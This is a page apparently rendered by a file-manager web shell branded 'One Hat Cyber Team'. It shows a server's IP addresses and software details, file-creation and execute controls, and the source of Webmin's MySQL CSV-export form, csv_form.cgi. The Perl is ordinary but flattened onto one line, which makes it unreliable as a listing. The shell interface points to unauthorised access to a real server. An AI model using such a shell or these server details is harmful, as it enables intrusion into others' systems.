⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
mysql
/
View File Name :
csv_form.cgi
#!/usr/bin/perl # Show a form for exporting CSV data require './mysql-lib.pl'; &ReadParse(); &can_edit_db($in{'db'}) || &error($text{'dbase_ecannot'}); $access{'edonly'} && &error($text{'dbase_ecannot'}); $desc = &text('table_header', "<tt>$in{'table'}</tt>", "<tt>$in{'db'}</tt>"); &ui_print_header($desc, $text{'csv_title'}, "", "csv"); print &ui_form_start("csv.cgi/$in{'table'}.csv", "post"); print &ui_hidden("db", $in{'db'}),"\n"; print &ui_hidden("table", $in{'table'}),"\n"; print &ui_table_start($text{'csv_header'}, undef, 2); print &ui_table_row($text{'csv_format'}, &ui_radio("format", 0, [ [ 0, $text{'csv_format0'} ], [ 1, $text{'csv_format1'} ], [ 2, $text{'csv_format2'} ] ])); print &ui_table_row($text{'csv_headers'}, &ui_yesno_radio("headers", 0)); if ($access{'buser'}) { # Only allow saving to file if a backup user is configured print &ui_table_row($text{'csv_dest'}, &ui_radio("dest", 0, [ [ 0, $text{'csv_browser'}."<br>" ], [ 1, $text{'csv_file'} ] ])."\n". &ui_textbox("file", undef, 40)." ". &file_chooser_button("file")); } # Rows to select print &ui_table_row($text{'csv_where'}, &ui_opt_textbox("where", undef, 30, $text{'csv_all'})); # Columns to select @str = &table_structure($in{'db'}, $in{'table'}); @cols = map { $_->{'field'} } @str; print &ui_table_row($text{'csv_cols'}, &ui_select("cols", \@cols, [ map { [ $_->{'field'}, "$_->{'field'} - $_->{'type'}" ] } @str ], 5, 1)); print &ui_table_end(); print &ui_form_end([ [ "ok", $text{'csv_ok'} ] ]); &ui_print_footer("edit_dbase.cgi?db=$in{'db'}", $text{'dbase_return'}, &get_databases_return_link($in{'db'}), $text{'index_return'});